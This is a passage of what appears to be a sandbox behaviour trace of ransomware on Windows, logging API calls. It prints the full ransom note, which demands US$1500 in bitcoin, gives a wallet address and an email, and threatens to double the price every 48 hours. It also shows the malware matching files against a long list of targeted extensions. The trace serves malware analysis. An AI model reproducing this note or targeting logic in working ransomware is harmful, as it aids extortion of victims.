"c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\32415bc135cd7c09840eda324131fc83\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.300] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.300] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.301] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.302] CloseHandle (hObject=0x90) returned 1 [0108.302] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll" [0108.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.ems") returned 0 [0108.302] lstrlenA (lpString="*.ems") returned 5 [0108.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.db") returned 0 [0108.302] lstrlenA (lpString="*.db") returned 4 [0108.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.dbf") returned 0 [0108.302] lstrlenA (lpString="*.dbf") returned 5 [0108.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.myox") returned 0 [0108.302] lstrlenA (lpString="*.myox") returned 6 [0108.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.myo") returned 0 [0108.302] lstrlenA (lpString="*.myo") returned 5 [0108.302] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qbw") returned 0 [0108.303] lstrlenA (lpString="*.qbw") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qbb") returned 0 [0108.303] lstrlenA (lpString="*.qbb") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qbm") returned 0 [0108.303] lstrlenA (lpString="*.qbm") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qbo") returned 0 [0108.303] lstrlenA (lpString="*.qbo") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qbx") returned 0 [0108.303] lstrlenA (lpString="*.qbx") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qba") returned 0 [0108.303] lstrlenA (lpString="*.qba") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qby") returned 0 [0108.303] lstrlenA (lpString="*.qby") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qbj") returned 0 [0108.303] lstrlenA (lpString="*.qbj") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.ofx") returned 0 [0108.303] lstrlenA (lpString="*.ofx") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.qif") returned 0 [0108.303] lstrlenA (lpString="*.qif") returned 5 [0108.303] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mye") returned 0 [0108.304] lstrlenA (lpString="*.mye") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mbox") returned 0 [0108.304] lstrlenA (lpString="*.mbox") returned 6 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.eml") returned 0 [0108.304] lstrlenA (lpString="*.eml") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.pst") returned 0 [0108.304] lstrlenA (lpString="*.pst") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.ost") returned 0 [0108.304] lstrlenA (lpString="*.ost") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.idx") returned 0 [0108.304] lstrlenA (lpString="*.idx") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.dbx") returned 0 [0108.304] lstrlenA (lpString="*.dbx") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.sql") returned 0 [0108.304] lstrlenA (lpString="*.sql") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mdb") returned 0 [0108.304] lstrlenA (lpString="*.mdb") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.fdb") returned 0 [0108.304] lstrlenA (lpString="*.fdb") returned 5 [0108.304] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.wab") returned 0 [0108.305] lstrlenA (lpString="*.wab") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.dat") returned 0 [0108.305] lstrlenA (lpString="*.dat") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.txt") returned 0 [0108.305] lstrlenA (lpString="*.txt") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.jpeg") returned 0 [0108.305] lstrlenA (lpString="*.jpeg") returned 6 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.jpg") returned 0 [0108.305] lstrlenA (lpString="*.jpg") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.png") returned 0 [0108.305] lstrlenA (lpString="*.png") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.php") returned 0 [0108.305] lstrlenA (lpString="*.php") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.cs") returned 0 [0108.305] lstrlenA (lpString="*.cs") returned 4 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.cpp") returned 0 [0108.305] lstrlenA (lpString="*.cpp") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.rar") returned 0 [0108.305] lstrlenA (lpString="*.rar") returned 5 [0108.305] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.zip") returned 0 [0108.306] lstrlenA (lpString="*.zip") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.html") returned 0 [0108.306] lstrlenA (lpString="*.html") returned 6 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.htm") returned 0 [0108.306] lstrlenA (lpString="*.htm") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.xlsx") returned 0 [0108.306] lstrlenA (lpString="*.xlsx") returned 6 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.xls") returned 0 [0108.306] lstrlenA (lpString="*.xls") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mp4") returned 0 [0108.306] lstrlenA (lpString="*.mp4") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.ppt") returned 0 [0108.306] lstrlenA (lpString="*.ppt") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.pptx") returned 0 [0108.306] lstrlenA (lpString="*.pptx") returned 6 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.doc") returned 0 [0108.306] lstrlenA (lpString="*.doc") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.dot") returned 0 [0108.306] lstrlenA (lpString="*.dot") returned 5 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.docx") returned 0 [0108.306] lstrlenA (lpString="*.docx") returned 6 [0108.306] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.7z") returned 0 [0108.307] lstrlenA (lpString="*.7z") returned 4 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.tar") returned 0 [0108.307] lstrlenA (lpString="*.tar") returned 5 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.bz2") returned 0 [0108.307] lstrlenA (lpString="*.bz2") returned 5 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.gz") returned 0 [0108.307] lstrlenA (lpString="*.gz") returned 4 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mkv") returned 0 [0108.307] lstrlenA (lpString="*.mkv") returned 5 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.eml") returned 0 [0108.307] lstrlenA (lpString="*.eml") returned 5 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.msg") returned 0 [0108.307] lstrlenA (lpString="*.msg") returned 5 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.edb") returned 0 [0108.307] lstrlenA (lpString="*.edb") returned 5 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.accdb") returned 0 [0108.307] lstrlenA (lpString="*.accdb") returned 7 [0108.307] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.odb") returned 0 [0108.307] lstrlenA (lpString="*.odb") returned 5 [0108.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.java") returned 0 [0108.308] lstrlenA (lpString="*.java") returned 6 [0108.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.asm") returned 0 [0108.308] lstrlenA (lpString="*.asm") returned 5 [0108.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.pfx") returned 0 [0108.308] lstrlenA (lpString="*.pfx") returned 5 [0108.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.pem") returned 0 [0108.308] lstrlenA (lpString="*.pem") returned 5 [0108.308] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.p12") returned 0 [0108.308] lstrlenA (lpString="*.p12") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.gpg") returned 0 [0108.309] lstrlenA (lpString="*.gpg") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.vsd") returned 0 [0108.309] lstrlenA (lpString="*.vsd") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.odg") returned 0 [0108.309] lstrlenA (lpString="*.odg") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.raw") returned 0 [0108.309] lstrlenA (lpString="*.raw") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.nef") returned 0 [0108.309] lstrlenA (lpString="*.nef") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.svg") returned 0 [0108.309] lstrlenA (lpString="*.svg") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.psd") returned 0 [0108.309] lstrlenA (lpString="*.psd") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.vmx") returned 0 [0108.309] lstrlenA (lpString="*.vmx") returned 5 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.vmdk") returned 0 [0108.309] lstrlenA (lpString="*.vmdk") returned 6 [0108.309] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.vdi") returned 0 [0108.309] lstrlenA (lpString="*.vdi") returned 5 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.lay6") returned 0 [0108.310] lstrlenA (lpString="*.lay6") returned 6 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mpeg") returned 0 [0108.310] lstrlenA (lpString="*.mpeg") returned 6 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.djvu") returned 0 [0108.310] lstrlenA (lpString="*.djvu") returned 6 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.tiff") returned 0 [0108.310] lstrlenA (lpString="*.tiff") returned 6 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.backup") returned 0 [0108.310] lstrlenA (lpString="*.backup") returned 8 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.pdf") returned 0 [0108.310] lstrlenA (lpString="*.pdf") returned 5 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.cert") returned 0 [0108.310] lstrlenA (lpString="*.cert") returned 6 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.docm") returned 0 [0108.310] lstrlenA (lpString="*.docm") returned 6 [0108.310] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.xlsm") returned 0 [0108.310] lstrlenA (lpString="*.xlsm") returned 6 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.dwg") returned 0 [0108.311] lstrlenA (lpString="*.dwg") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.nd") returned 0 [0108.311] lstrlenA (lpString="*.nd") returned 4 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.tlg") returned 0 [0108.311] lstrlenA (lpString="*.tlg") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.lgb") returned 0 [0108.311] lstrlenA (lpString="*.lgb") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.mov") returned 0 [0108.311] lstrlenA (lpString="*.mov") returned 5 [0108.311] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", pszSpec="*.xdw") returned 0 